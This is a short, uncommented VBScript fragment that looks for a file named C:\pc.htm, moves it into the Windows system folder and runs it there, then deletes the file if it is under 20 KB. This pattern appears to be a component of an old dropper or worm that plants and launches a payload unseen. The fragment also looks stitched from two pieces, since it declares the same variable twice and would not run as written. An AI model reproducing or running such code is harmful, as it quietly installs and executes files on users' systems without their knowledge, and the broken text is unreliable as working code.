Dim FSO,WSH
Set FSO=CreateObject("Scripting.FileSystemObject")
Set WSH=CreateObject("WScript.Shell")
If FSO.FileExists("C:\pc.htm") Then
FSO.MoveFile "C:\pc.htm",FSO.GetSpecialFolder(0) & "\"
WSH.RUN FSO.GetSpecialFolder(0) & "\pc.htm"
End If
Dim FSO
Set FSO=CreateObject("Scripting.FileSystemObject")
If FSO.FileExists("C:\pc.htm") Then
If FSO.GetFile("C:\pc.htm").SIZE < 20480 Then
FSO.DeleteFile("C:\pc.htm")
End If
End If